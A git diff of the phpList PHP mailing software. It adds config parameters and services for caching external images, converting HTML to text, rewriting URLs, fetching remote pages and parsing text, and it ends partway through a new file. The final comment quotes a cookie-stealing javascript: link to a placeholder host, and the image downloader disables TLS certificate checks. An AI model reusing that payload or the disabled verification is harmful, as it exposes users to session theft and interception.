diff --git a/composer.json b/composer.json
index e696c132..92a29565 100644
--- a/composer.json
+++ b/composer.json
@@ -79,7 +79,11 @@
         "ext-imap": "*",
         "tatevikgr/rss-feed": "dev-main",
         "ext-pdo": "*",
-        "ezyang/htmlpurifier": "^4.19"
+        "ezyang/htmlpurifier": "^4.19",
+        "ext-libxml": "*",
+        "ext-gd": "*",
+        "ext-curl": "*",
+        "ext-fileinfo": "*"
     },
     "require-dev": {
         "phpunit/phpunit": "^9.5",
diff --git a/config/PHPMD/rules.xml b/config/PHPMD/rules.xml
index b3b8a8d4..40900dd9 100644
--- a/config/PHPMD/rules.xml
+++ b/config/PHPMD/rules.xml
@@ -7,7 +7,7 @@
     <exclude-pattern>*/Migrations/*</exclude-pattern>
 
     <!-- rules from the "clean code" rule set -->
-    <rule ref="rulesets/cleancode.xml/BooleanArgumentFlag"/>
+<!--    <rule ref="rulesets/cleancode.xml/BooleanArgumentFlag"/>-->
     <rule ref="rulesets/codesize.xml/CyclomaticComplexity"/>
     <rule ref="rulesets/codesize.xml/NPathComplexity"/>
     <rule ref="rulesets/codesize.xml/ExcessiveMethodLength"/>
@@ -41,7 +41,7 @@
     <!-- rules from the "naming" rule set -->
     <rule ref="rulesets/naming.xml/ShortVariable">
         <properties>
-            <property name="exceptions" value="id,ip,cc,io"/>
+            <property name="exceptions" value="id,ip,cc,io,to"/>
         </properties>
     </rule>
     <rule ref="rulesets/naming.xml/LongVariable">
diff --git a/config/PhpCodeSniffer/ruleset.xml b/config/PhpCodeSniffer/ruleset.xml
index 7541e406..03d41b43 100644
--- a/config/PhpCodeSniffer/ruleset.xml
+++ b/config/PhpCodeSniffer/ruleset.xml
@@ -103,6 +103,10 @@
     <rule ref="PEAR.WhiteSpace.ScopeClosingBrace"/>
     <rule ref="Squiz.WhiteSpace.CastSpacing"/>
     <rule ref="Squiz.WhiteSpace.LogicalOperatorSpacing"/>
-    <rule ref="Squiz.WhiteSpace.OperatorSpacing"/>
+    <rule ref="Squiz.WhiteSpace.OperatorSpacing">
+        <properties>
+            <property name="ignoreNewlines" value="true"/>
+        </properties>
+    </rule>
     <rule ref="Squiz.WhiteSpace.SemicolonSpacing"/>
 </ruleset>
diff --git a/config/parameters.yml.dist b/config/parameters.yml.dist
index 41c9a20b..92b33bed 100644
--- a/config/parameters.yml.dist
+++ b/config/parameters.yml.dist
@@ -25,12 +25,18 @@ parameters:
     env(DATABASE_PREFIX): 'phplist_'
     list_table_prefix: '%%env(LIST_TABLE_PREFIX)%%'
     env(LIST_TABLE_PREFIX): 'listattr_'
+    app.dev_version: '%%env(APP_DEV_VERSION)%%'
+    env(APP_DEV_VERSION): '0'
+    app.dev_email: '%%env(APP_DEV_EMAIL)%%'
+    env(APP_DEV_EMAIL): 'dev@dev.com'
+    app.powered_by_phplist: '%%env(APP_POWERED_BY_PHPLIST)%%'
+    env(APP_POWERED_BY_PHPLIST): '0'
 
     # Email configuration
     app.mailer_from: '%%env(MAILER_FROM)%%'
     env(MAILER_FROM): 'noreply@phplist.com'
     app.mailer_dsn: '%%env(MAILER_DSN)%%'
-    env(MAILER_DSN): 'null://null'
+    env(MAILER_DSN): 'null://null' # set local_domain on transport
     app.confirmation_url: '%%env(CONFIRMATION_URL)%%'
     env(CONFIRMATION_URL): 'https://example.com/subscriber/confirm/'
     app.subscription_confirmation_url: '%%env(SUBSCRIPTION_CONFIRMATION_URL)%%'
@@ -89,3 +95,30 @@ parameters:
     env(MESSAGING_MAX_PROCESS_TIME): '600'
     messaging.max_mail_size: '%%env(MAX_MAILSIZE)%%'
     env(MAX_MAILSIZE): '209715200'
+    messaging.default_message_age: '%%env(DEFAULT_MESSAGEAGE)%%'
+    env(DEFAULT_MESSAGEAGE): '691200'
+    messaging.use_manual_text_part: '%%env(USE_MANUAL_TEXT_PART)%%'
+    env(USE_MANUAL_TEXT_PART): '0'
+    messaging.blacklist_grace_time: '%%env(MESSAGING_BLACKLIST_GRACE_TIME)%%'
+    env(MESSAGING_BLACKLIST_GRACE_TIME): '600'
+    messaging.google_sender_id: '%%env(GOOGLE_SENDERID)%%'
+    env(GOOGLE_SENDERID): ''
+    messaging.use_amazon_ses: '%%env(USE_AMAZONSES)%%'
+    env(USE_AMAZONSES): '0'
+    messaging.embed_external_images: '%%env(EMBEDEXTERNALIMAGES)%%'
+    env(EMBEDEXTERNALIMAGES): '0'
+    messaging.embed_uploaded_images: '%%env(EMBEDUPLOADIMAGES)%%'
+    env(EMBEDUPLOADIMAGES): '0'
+    messaging.external_image_max_age: '%%env(EXTERNALIMAGE_MAXAGE)%%'
+    env(EXTERNALIMAGE_MAXAGE): '0'
+    messaging.external_image_timeout: '%%env(EXTERNALIMAGE_TIMEOUT)%%'
+    env(EXTERNALIMAGE_TIMEOUT): '30'
+    messaging.external_image_max_size: '%%env(EXTERNALIMAGE_MAXSIZE)%%'
+    env(EXTERNALIMAGE_MAXSIZE): '204800'
+
+    phplist.upload_images_dir: '%%env(PHPLIST_UPLOADIMAGES_DIR)%%'
+    env(PHPLIST_UPLOADIMAGES_DIR): 'images'
+    phplist.editor_images_dir: '%%env(FCKIMAGES_DIR)%%'
+    env(FCKIMAGES_DIR): 'uploadimages'
+    phplist.public_schema: '%%env(PUBLIC_SCHEMA)%%'
+    env(PUBLIC_SCHEMA): 'https'
diff --git a/resources/translations/messages.en.xlf b/resources/translations/messages.en.xlf
index 02ca7140..40a24785 100644
--- a/resources/translations/messages.en.xlf
+++ b/resources/translations/messages.en.xlf
@@ -738,6 +738,18 @@ Thank you.</target>
         <source>Value must be an AttributeTypeEnum or string.</source>
         <target>__Value must be an AttributeTypeEnum or string.</target>
       </trans-unit>
+      <trans-unit id="1cRuI31" resname="Campaign started">
+        <source>Campaign started</source>
+        <target>__Campaign started</target>
+      </trans-unit>
+      <trans-unit id="Y4qXXak" resname="phplist has started sending the campaign with subject %s">
+        <source>phplist has started sending the campaign with subject %s</source>
+        <target>__phplist has started sending the campaign with subject %s</target>
+      </trans-unit>
+      <trans-unit id="jE9yPKp" resname="phplist has started sending the campaign with subject %subject%">
+        <source>phplist has started sending the campaign with subject %subject%</source>
+        <target>__phplist has started sending the campaign with subject %subject%</target>
+      </trans-unit>
     </body>
   </file>
 </xliff>
diff --git a/src/Bounce/Service/LockService.php b/src/Bounce/Service/LockService.php
index c3948c1f..a875959c 100644
--- a/src/Bounce/Service/LockService.php
+++ b/src/Bounce/Service/LockService.php
@@ -34,9 +34,6 @@ public function __construct(
         $this->maxWaitCycles = $maxWaitCycles;
     }
 
-    /**
-     * @SuppressWarnings("BooleanArgumentFlag")
-     */
     public function acquirePageLock(
         string $page,
         bool $force = false,
diff --git a/src/Domain/Analytics/Service/LinkTrackService.php b/src/Domain/Analytics/Service/LinkTrackService.php
index 902092f6..0b3a8c5e 100644
--- a/src/Domain/Analytics/Service/LinkTrackService.php
+++ b/src/Domain/Analytics/Service/LinkTrackService.php
@@ -8,8 +8,7 @@
 use PhpList\Core\Domain\Analytics\Exception\MissingMessageIdException;
 use PhpList\Core\Domain\Analytics\Model\LinkTrack;
 use PhpList\Core\Domain\Analytics\Repository\LinkTrackRepository;
-use PhpList\Core\Domain\Messaging\Model\Message;
-use PhpList\Core\Domain\Messaging\Model\Message\MessageContent;
+use PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto;
 
 class LinkTrackService
 {
@@ -39,7 +38,7 @@ public function isExtractAndSaveLinksApplicable(): bool
      * @return LinkTrack[] The saved LinkTrack entities
      * @throws MissingMessageIdException
      */
-    public function extractAndSaveLinks(MessageContent $content, int $userId, ?int $messageId = null): array
+    public function extractAndSaveLinks(MessagePrecacheDto $content, int $userId, ?int $messageId = null): array
     {
         if (!$this->isExtractAndSaveLinksApplicable()) {
             return [];
@@ -49,10 +48,10 @@ public function extractAndSaveLinks(MessageContent $content, int $userId, ?int $
             throw new MissingMessageIdException();
         }
 
-        $links = $this->extractLinksFromHtml($content->getText() ?? '');
+        $links = $this->extractLinksFromHtml($content->content ?? '');
 
-        if ($content->getFooter() !== null) {
-            $links = array_merge($links, $this->extractLinksFromHtml($content->getFooter()));
+        if ($content->htmlFooter) {
+            $links = array_merge($links, $this->extractLinksFromHtml($content->htmlFooter));
         }
 
         $links = array_unique($links);
diff --git a/src/Domain/Common/ExternalImageService.php b/src/Domain/Common/ExternalImageService.php
new file mode 100644
index 00000000..c2ef3e17
--- /dev/null
+++ b/src/Domain/Common/ExternalImageService.php
@@ -0,0 +1,222 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Common;
+
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use Psr\Log\LoggerInterface;
+use Throwable;
+
+class ExternalImageService
+{
+    private string $externalCacheDir;
+
+    public function __construct(
+        private readonly ConfigProvider $configProvider,
+        private readonly LoggerInterface  $logger,
+        private readonly string $tempDir,
+        private readonly int $externalImageMaxAge,
+        private readonly int $externalImageMaxSize,
+        private readonly ?int $externalImageTimeout = 30,
+    ) {
+        $this->externalCacheDir = $this->tempDir . '/external_cache';
+    }
+
+    public function getFromCache(string $filename, int $messageId): ?string
+    {
+        $cacheFile = $this->generateLocalFileName($filename, $messageId);
+
+        if (!is_file($cacheFile) || filesize($cacheFile) <= 64) {
+            return null;
+        }
+
+        $content = file_get_contents($cacheFile);
+        if ($content === false) {
+            return null;
+        }
+
+        return base64_encode($content);
+    }
+
+    public function cache($filename, $messageId): bool
+    {
+        if (!$this->isCacheableUrl($filename)) {
+            return false;
+        }
+
+        if (!$this->ensureCacheDirectory()) {
+            return false;
+        }
+
+        $this->removeOldFilesInCache();
+
+        $cacheFileName = $this->generateLocalFileName($filename, $messageId);
+
+        if (!file_exists($cacheFileName)) {
+            $cacheFileContent = null;
+
+            if (function_exists('curl_init')) {
+                $cacheFileContent = $this->downloadUsingCurl($filename);
+            }
+
+            if ($cacheFileContent === null) {
+                $cacheFileContent = $this->downloadUsingFileGetContent($filename);
+            }
+
+            if ($this->externalImageMaxSize && (strlen($cacheFileContent) > $this->externalImageMaxSize)) {
+                $cacheFileContent = 'MAX_SIZE';
+            }
+
+            $this->writeCacheFile($cacheFileName, $cacheFileContent);
+        }
+
+        return $this->isValidCacheFile($cacheFileName);
+    }
+
+    private function removeOldFilesInCache(): void
+    {
+        // phpcs:ignore Generic.PHP.NoSilencedErrors
+        $extCacheDirHandle = @opendir($this->externalCacheDir);
+        if (!$this->externalImageMaxAge || !$extCacheDirHandle) {
+            return;
+        }
+
+        while (true) {
+            // phpcs:ignore Generic.PHP.NoSilencedErrors
+            $cacheFile = @readdir($extCacheDirHandle);
+
+            if ($cacheFile === false) {
+                break;
+            }
+            // todo: make sure that this is what we need
+            if (!str_starts_with($cacheFile, '.')) {
+                // phpcs:ignore Generic.PHP.NoSilencedErrors
+                $cfmt = @filemtime($this->externalCacheDir . '/' . $cacheFile);
+
+                if (is_numeric($cfmt) && ($cfmt > 0) && ((time() - $cfmt) > $this->externalImageMaxAge)) {
+                    // phpcs:ignore Generic.PHP.NoSilencedErrors
+                    @unlink($this->externalCacheDir . '/' . $cacheFile);
+                }
+            }
+        }
+        // phpcs:ignore Generic.PHP.NoSilencedErrors
+        @closedir($extCacheDirHandle);
+    }
+
+    private function generateLocalFileName(string $filename, int $messageId): string
+    {
+        return $this->externalCacheDir
+            . '/'
+            . $messageId
+            . '_'
+            . preg_replace([ '~[\.][\.]+~Ui', '~[^\w\.]~Ui',], ['', '_'], $filename);
+    }
+
+    private function downloadUsingCurl(string $filename): ?string
+    {
+        $cURLHandle = curl_init($filename);
+
+        if ($cURLHandle !== false) {
+            curl_setopt($cURLHandle, CURLOPT_HTTPGET, true);
+            curl_setopt($cURLHandle, CURLOPT_HEADER, 0);
+            curl_setopt($cURLHandle, CURLOPT_RETURNTRANSFER, true);
+            curl_setopt($cURLHandle, CURLOPT_TIMEOUT, $this->externalImageTimeout);
+            curl_setopt($cURLHandle, CURLOPT_FOLLOWLOCATION, true);
+            curl_setopt($cURLHandle, CURLOPT_MAXREDIRS, 10);
+            curl_setopt($cURLHandle, CURLOPT_SSL_VERIFYPEER, false);
+            curl_setopt($cURLHandle, CURLOPT_FAILONERROR, true);
+
+            $cacheFileContent = curl_exec($cURLHandle);
+
+            $cURLErrNo = curl_errno($cURLHandle);
+            $cURLInfo = curl_getinfo($cURLHandle);
+
+            curl_close($cURLHandle);
+
+            if ($cURLErrNo != 0) {
+                $cacheFileContent = 'CURL_ERROR_' . $cURLErrNo;
+            }
+            if ($cURLInfo['http_code'] >= 400) {
+                $cacheFileContent = 'HTTP_CODE_' . $cURLInfo['http_code'];
+            }
+        }
+
+        return $cacheFileContent ?? null;
+    }
+
+    private function downloadUsingFileGetContent(string $filename): string
+    {
+        $remoteURLContext = stream_context_create([
+            'http' => [
+                'method' => 'GET',
+                'timeout' => $this->externalImageTimeout,
+                'max_redirects' => '10',
+            ]
+        ]);
+
+        $cacheFileContent = file_get_contents($filename, false, $remoteURLContext);
+        if ($cacheFileContent === false) {
+            $cacheFileContent = 'FGC_ERROR';
+        }
+
+        return $cacheFileContent;
+    }
+
+    private function isCacheableUrl($filename): bool
+    {
+        if (!(str_starts_with($filename, 'http'))
+            || str_contains($filename, '://' . $this->configProvider->getValue(ConfigOption::Website) . '/')
+        ) {
+            return false;
+        }
+
+        return true;
+    }
+
+    private function ensureCacheDirectory(): bool
+    {
+
+        if (!file_exists($this->externalCacheDir)) {
+            // phpcs:ignore Generic.PHP.NoSilencedErrors
+            @mkdir($this->externalCacheDir);
+        }
+
+        if (!file_exists($this->externalCacheDir) || !is_writable($this->externalCacheDir)) {
+            return false;
+        }
+
+        return true;
+    }
+
+    private function isValidCacheFile(string $cacheFileName): bool
+    {
+        // phpcs:ignore Generic.PHP.NoSilencedErrors
+        if (file_exists($cacheFileName) && (@filesize($cacheFileName) > 64)) {
+            return true;
+        }
+
+        return false;
+    }
+
+    private function writeCacheFile(string $cacheFileName, $content): void
+    {
+        // phpcs:ignore Generic.PHP.NoSilencedErrors
+        $bytes = @file_put_contents($cacheFileName, $content, LOCK_EX);
+
+        if ($bytes === false) {
+            $this->logger->error('Cache file write failed', ['file' => $cacheFileName]);
+            return;
+        }
+
+        $expected = strlen($content);
+        if ($bytes !== $expected) {
+            $this->logger->error('Cache file partial write', [
+                'file' => $cacheFileName,
+                'expected' => $expected,
+                'written' => $bytes,
+            ]);
+        }
+    }
+}
diff --git a/src/Domain/Common/Html2Text.php b/src/Domain/Common/Html2Text.php
new file mode 100644
index 00000000..59ac9ae9
--- /dev/null
+++ b/src/Domain/Common/Html2Text.php
@@ -0,0 +1,85 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Common;
+
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+
+class Html2Text
+{
+    private const WORD_WRAP = 70;
+
+    public function __construct(private readonly ConfigProvider $configProvider)
+    {
+    }
+
+    public function __invoke(string $html): string
+    {
+        $text = preg_replace("/\r/", '', $html);
+
+        $text = preg_replace('/<script[^>]*>(.*?)<\/script\s*>/is', '', $text);
+        $text = preg_replace('/<style[^>]*>(.*?)<\/style\s*>/is', '', $text);
+
+        $text = preg_replace(
+            "/<a[^>]*href=([\"\'])(.*)\\1[^>]*>(.*)<\/a>/Umis",
+            "[URLTEXT]\\3[ENDURLTEXT][LINK]\\2[ENDLINK]\n",
+            $text
+        );
+        $text = preg_replace('/<b>(.*?)<\/b\s*>/is', '*\\1*', $text);
+        $text = preg_replace('/<h[\d]>(.*?)<\/h[\d]\s*>/is', "**\\1**\n", $text);
+        $text = preg_replace('/<i>(.*?)<\/i\s*>/is', '/\\1/', $text);
+        $text = preg_replace('/<\/tr\s*?>/i', "<\/tr>\n\n", $text);
+        $text = preg_replace('/<\/p\s*?>/i', "<\/p>\n\n", $text);
+        $text = preg_replace('/<br[^>]*?>/i', "<br>\n", $text);
+        $text = preg_replace('/<br[^>]*?\/>/i', "<br\/>\n", $text);
+        $text = preg_replace('/<table/i', "\n\n<table", $text);
+        $text = strip_tags($text);
+
+        // find all URLs and replace them back
+        preg_match_all('~\[URLTEXT\](.*)\[ENDURLTEXT\]\[LINK\](.*)\[ENDLINK\]~Umis', $text, $links);
+        foreach ($links[0] as $matchIndex => $fullMatch) {
+            $linkText = $links[1][$matchIndex];
+            $linkUrl = $links[2][$matchIndex];
+            // check if the text linked is a repetition of the URL
+            if (trim($linkText) == trim($linkUrl) ||
+                'https://'.trim($linkText) == trim($linkUrl) ||
+                'http://'.trim($linkText) == trim($linkUrl)
+            ) {
+                $linkReplace = $linkUrl;
+            } else {
+                //# if link is an anchor only, take it out
+                if (str_starts_with($linkUrl, '#')) {
+                    $linkReplace = $linkText;
+                } else {
+                    $linkReplace = $linkText.' <'.$linkUrl.'>';
+                }
+            }
+            $text = str_replace($fullMatch, $linkReplace, $text);
+        }
+        $text = preg_replace(
+            "/<a href=[\"\'](.*?)[\"\'][^>]*>(.*?)<\/a>/is",
+            '[URLTEXT]\\2[ENDURLTEXT][LINK]\\1[ENDLINK]',
+            $text,
+            500
+        );
+
+        $text = html_entity_decode($text, ENT_QUOTES | ENT_HTML5, 'UTF-8');
+
+        $text = preg_replace('/###NL###/', "\n", $text);
+        $text = preg_replace("/\n /", "\n", $text);
+        $text = preg_replace("/\t/", ' ', $text);
+
+        // reduce whitespace
+        while (preg_match('/  /', $text)) {
+            $text = preg_replace('/  /', ' ', $text);
+        }
+        while (preg_match("/\n\s*\n\s*\n/", $text)) {
+            $text = preg_replace("/\n\s*\n\s*\n/", "\n\n", $text);
+        }
+        $wordWrap = $this->configProvider->getValue(ConfigOption::WordWrap) ?? self::WORD_WRAP;
+
+        return wordwrap($text, (int) $wordWrap);
+    }
+}
diff --git a/src/Domain/Common/HtmlUrlRewriter.php b/src/Domain/Common/HtmlUrlRewriter.php
new file mode 100644
index 00000000..27edb56f
--- /dev/null
+++ b/src/Domain/Common/HtmlUrlRewriter.php
@@ -0,0 +1,208 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Common;
+
+use DOMDocument;
+use DOMElement;
+use DOMXPath;
+
+class HtmlUrlRewriter
+{
+    public function addAbsoluteResources(string $html, string $baseUrl): string
+    {
+        $baseUrl = rtrim($baseUrl, '/');
+
+        // 1) Rewrite HTML attributes via DOM (handles quotes, whitespace, etc.)
+        $dom = new DOMDocument();
+        libxml_use_internal_errors(true);
+
+        // Prevent DOMDocument from adding html/body tags if you pass fragments
+        $wrapped = '<!doctype html><meta charset="utf-8"><div id="__wrap__">' . $html . '</div>';
+        $dom->loadHTML($wrapped, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
+
+        $xpath = new DOMXPath($dom);
+
+        // Attributes to rewrite
+        $attrMap = [
+            '//*[@src]' => 'src',
+            '//*[@href]' => 'href',
+            '//*[@action]' => 'action',
+            '//*[@background]' => 'background',
+        ];
+
+        foreach ($attrMap as $query => $attr) {
+            foreach ($xpath->query($query) as $node) {
+                /** @var DOMElement $node */
+                $val = $node->getAttribute($attr);
+                $node->setAttribute($attr, $this->absolutizeUrl($val, $baseUrl));
+            }
+        }
+
+        // srcset needs special handling (multiple candidates)
+        foreach ($xpath->query('//*[@srcset]') as $node) {
+            /** @var DOMElement $node */
+            $node->setAttribute('srcset', $this->rewriteSrcset($node->getAttribute('srcset'), $baseUrl));
+        }
+
+        // 2) Rewrite inline <style> blocks (CSS)
+        foreach ($xpath->query('//style') as $styleNode) {
+            /** @var DOMElement $styleNode */
+            $css = $styleNode->nodeValue;
+            $styleNode->nodeValue = $this->rewriteCssUrls($css, $baseUrl);
+        }
+
+        // 3) Rewrite style="" attributes (CSS)
+        foreach ($xpath->query('//*[@style]') as $node) {
+            /** @var DOMElement $node */
+            $css = $node->getAttribute('style');
+            $node->setAttribute('style', $this->rewriteCssUrls($css, $baseUrl));
+        }
+
+        // Extract the original fragment back out
+        $wrap = $dom->getElementById('__wrap__');
+        $out = '';
+        foreach ($wrap->childNodes as $child) {
+            $out .= $dom->saveHTML($child);
+        }
+
+        libxml_clear_errors();
+
+        return $out;
+    }
+
+    /**
+     * Convert $url to an absolute URL based on $baseUrl.
+     * Leaves alone:
+     * - already absolute (scheme:)
+     * - protocol-relative (//example.com) => keeps host but adds scheme
+     * - anchors (#...)
+     * - placeholders like [SOMETHING]
+     * - mailto:, tel:, data:, javascript: (etc)
+     */
+    public function absolutizeUrl(string $url, string $baseUrl): string
+    {
+        $url = trim($url);
+        if ($this->shouldReturnAsIs($url, $baseUrl)) {
+            return $url;
+        }
+
+        $base = parse_url($baseUrl);
+        // protocol-relative
+        if (str_starts_with($url, '//')) {
+            return $base['scheme'] . ':' . $url;
+        }
+
+        $basePath = $base['path'] ?? '/';
+        // If baseUrl points to a file, use its directory
+        if (!str_ends_with($basePath, '/')) {
+            $basePath = preg_replace('#/[^/]*$#', '/', $basePath);
+        }
+
+        $path = str_starts_with($url, '/') ? $url : $basePath . $url;
+        $port = isset($base['port']) ? ':' . $base['port'] : '';
+
+        return $base['scheme'] . '://' . $base['host'] . $port . $this->normalizePath($path);
+    }
+
+    private function normalizePath(string $path): string
+    {
+        // Keep query/fragment if present
+        $parts = parse_url($path);
+        $segments = explode('/', $parts['path'] ?? $path);
+        $out = [];
+        foreach ($segments as $seg) {
+            if ($seg === '' || $seg === '.') {
+                continue;
+            }
+            if ($seg === '..') {
+                array_pop($out);
+                continue;
+            }
+            $out[] = $seg;
+        }
+        $norm = '/' . implode('/', $out);
+
+        if (isset($parts['query'])) {
+            $norm .= '?' . $parts['query'];
+        }
+        if (isset($parts['fragment'])) {
+            $norm .= '#' . $parts['fragment'];
+        }
+
+        return $norm;
+    }
+
+    private function rewriteSrcset(string $srcset, string $baseUrl): string
+    {
+        // "a.jpg 1x, /b.jpg 2x" => absolutize each URL part
+        $candidates = array_map('trim', explode(',', $srcset));
+        foreach ($candidates as &$candidate) {
+            if ($candidate === '') {
+                continue;
+            }
+            // split at first whitespace: "url descriptor..."
+            if (preg_match('/^(\S+)(\s+.*)?$/', $candidate, $matches)) {
+                $url = $matches[1];
+                $descriptor = $matches[2] ?? '';
+                $candidate = $this->absolutizeUrl($url, $baseUrl) . $descriptor;
+            }
+        }
+        return implode(', ', $candidates);
+    }
+
+    private function rewriteCssUrls(string $css, string $baseUrl): string
+    {
+        // url(...) handling (supports quotes or no quotes)
+        $css = preg_replace_callback(
+            '#url\(\s*(["\']?)(.*?)\1\s*\)#i',
+            function ($matches) use ($baseUrl) {
+                $quotes = $matches[1];
+                $url = $matches[2];
+                $abs = $this->absolutizeUrl($url, $baseUrl);
+
+                return 'url(' . ($quotes !== '' ? $quotes : '') . $abs . ($quotes !== '' ? $quotes : '') . ')';
+            },
+            $css
+        );
+
+        // @import "..."; or @import url("..."); etc.
+        return preg_replace_callback(
+            '#@import\s+(?:url\()?(\s*["\']?)([^"\')\s;]+)\1\)?#i',
+            function ($matches) use ($baseUrl) {
+                $quotes = trim($matches[1]);
+                $url = $matches[2];
+                $abs = $this->absolutizeUrl($url, $baseUrl);
+                $import = ($quotes ?: '') . $abs . ($quotes ?: '');
+                // Preserve original form loosely
+                return '@import ' . (str_starts_with($matches[0], '@import url') ? 'url(' . $import . ')' : $import);
+            },
+            $css
+        );
+    }
+
+    private function shouldReturnAsIs(string $url, string $baseUrl): bool
+    {
+        if ($url === '' || $url[0] === '#') {
+            return true;
+        }
+        if (preg_match('/\[[^\]]+\]/', $url)) {
+            return true;
+        }
+
+        // already has a scheme (http:, https:, mailto:, data:, etc.)
+        if (preg_match('#^[a-z][a-z0-9+.-]*:#i', $url)) {
+            return true;
+        }
+
+
+        $base = parse_url($baseUrl);
+        if (!$base || empty($base['scheme']) || empty($base['host'])) {
+            // If base is invalid, bail out rather than corrupt URLs
+            return true;
+        }
+
+        return false;
+    }
+}
diff --git a/src/Domain/Common/Model/ContentTransferEncoding.php b/src/Domain/Common/Model/ContentTransferEncoding.php
new file mode 100644
index 00000000..3aca480b
--- /dev/null
+++ b/src/Domain/Common/Model/ContentTransferEncoding.php
@@ -0,0 +1,14 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Common\Model;
+
+enum ContentTransferEncoding: string
+{
+    case SevenBit = '7bit';
+    case EightBit = '8bit';
+    case Base64 = 'base64';
+    case QuotedPrintable = 'quoted-printable';
+    case Binary = 'binary';
+}
diff --git a/src/Domain/Common/RemotePageFetcher.php b/src/Domain/Common/RemotePageFetcher.php
new file mode 100644
index 00000000..0d37b76e
--- /dev/null
+++ b/src/Domain/Common/RemotePageFetcher.php
@@ -0,0 +1,125 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Common;
+
+use Doctrine\ORM\EntityManagerInterface;
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Model\UrlCache;
+use PhpList\Core\Domain\Configuration\Repository\UrlCacheRepository;
+use PhpList\Core\Domain\Configuration\Service\Manager\EventLogManager;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use Psr\SimpleCache\CacheInterface;
+use Symfony\Contracts\HttpClient\HttpClientInterface;
+use Throwable;
+
+class RemotePageFetcher
+{
+    public function __construct(
+        private readonly HttpClientInterface $httpClient,
+        private readonly CacheInterface $cache,
+        private readonly ConfigProvider $configProvider,
+        private readonly UrlCacheRepository $urlCacheRepository,
+        private readonly EventLogManager $eventLogManager,
+        private readonly HtmlUrlRewriter $htmlUrlRewriter,
+        private readonly EntityManagerInterface $entityManager,
+        private readonly int $defaultTtl = 300,
+    ) {
+    }
+
+    public function __invoke(string $url, array $userData): string
+    {
+        $url = $this->prepareUrl($url, $userData);
+
+        $cacheKey = md5($url);
+
+        $item = $this->cache->get($cacheKey);
+        if ($item && is_array($item) && (time() - $item['fetched'] < $this->defaultTtl)) {
+            return $item['content'];
+        }
+
+        $cacheUrl = $this->urlCacheRepository->findByUrlAndLastModified($url);
+        $timeout = time() - ($cacheUrl?->getLastModified() ?? 0);
+        if ($timeout < $this->defaultTtl) {
+            return $cacheUrl->getContent();
+        }
+
+        //# relying on the last modified header doesn't work for many pages
+        //# use current time instead
+        //# see http://mantis.phplist.com/view.php?id=7684
+        $lastModified = time();
+        $cacheUrl = $this->urlCacheRepository->findByUrlAndLastModified($url, $lastModified);
+        $content = $cacheUrl?->getContent();
+        if ($cacheUrl) {
+            // todo: check what the page should be for this log
+            $this->eventLogManager->log(page: 'unknown page', entry: $url . ' was cached in database');
+        } else {
+            $content = $this->fetchUrlDirect($url);
+        }
+
+        if (!empty($content)) {
+            $content = $this->htmlUrlRewriter->addAbsoluteResources($content, $url);
+            $this->eventLogManager->log(page: 'unknown page', entry:'Fetching '.$url.' success');
+
+            $caches = $this->urlCacheRepository->getByUrl($url);
+            foreach ($caches as $cache) {
+                $this->entityManager->remove($cache);
+            }
+            $urlCache = (new UrlCache())->setUrl($url)->setContent($content)->setLastModified($lastModified);
+            $this->urlCacheRepository->persist($urlCache);
+
+            $this->cache->set($cacheKey, [
+                'fetched' => time(),
+                'content' => $content,
+            ]);
+        }
+
+        return $content;
+    }
+
+    private function fetchUrlDirect(string $url): string
+    {
+        try {
+            $response = $this->httpClient->request('GET', $url, [
+                'max_redirects' => 5,
+                'timeout' => 10,
+            ]);
+
+            return $response->getContent(false);
+        } catch (Throwable $e) {
+            return '';
+        }
+    }
+
+    private function expandURL(string $url): string
+    {
+        $append = $this->configProvider->getValue(ConfigOption::RemoteUrlAppend);
+        $append = strip_tags($append);
+        $append = trim($append);
+
+        if ($append === '') {
+            return $url;
+        }
+
+        $delimiter = (str_contains($url, '?')) ? '&' : '?';
+        $append = ltrim($append, '?&');
+
+        return $url . $delimiter . $append;
+    }
+
+    private function prepareUrl(string $url, array $userData): string
+    {
+        //# fix the Editor replacing & with &amp;
+        $url = str_ireplace('&amp;', '&', $url);
+
+        foreach ($userData as $key => $val) {
+            if ($key !== 'password') {
+                $url = str_replace('[' . $key . ']', rawurlencode($val), $url);
+            }
+        }
+        $url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8');
+
+        return $this->expandUrl($url);
+    }
+}
diff --git a/src/Domain/Common/TextParser.php b/src/Domain/Common/TextParser.php
new file mode 100644
index 00000000..15af48b5
--- /dev/null
+++ b/src/Domain/Common/TextParser.php
@@ -0,0 +1,95 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Common;
+
+class TextParser
+{
+    public function __invoke(string $text): string
+    {
+        $text = ltrim($text);
+        $text = preg_replace_callback(
+            '/\b([a-z0-9](?:[a-z0-9._%+-]{0,62}[a-z0-9])?@' .
+            '(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+' .
+            '[a-z]{2,63})\b/i',
+            static function (array $matches): string {
+                $email = $matches[1];
+
+                $emailEsc = htmlspecialchars($email, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
+
+                $mailto = rawurlencode($email);
+
+                return '<a href="mailto:' . $mailto . '" class="email">' . $emailEsc . '</a>';
+            },
+            $text
+        );
+        $linkPattern = '/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is';
+        $link = [];
+        $index = 0;
+        while (preg_match($linkPattern, $text, $matches)) {
+            $url = $matches[2];
+            $rest = $matches[3];
+            if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) {
+                // Removing all colons breaks legitimate URLs but avoids this 🤷
+                //<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
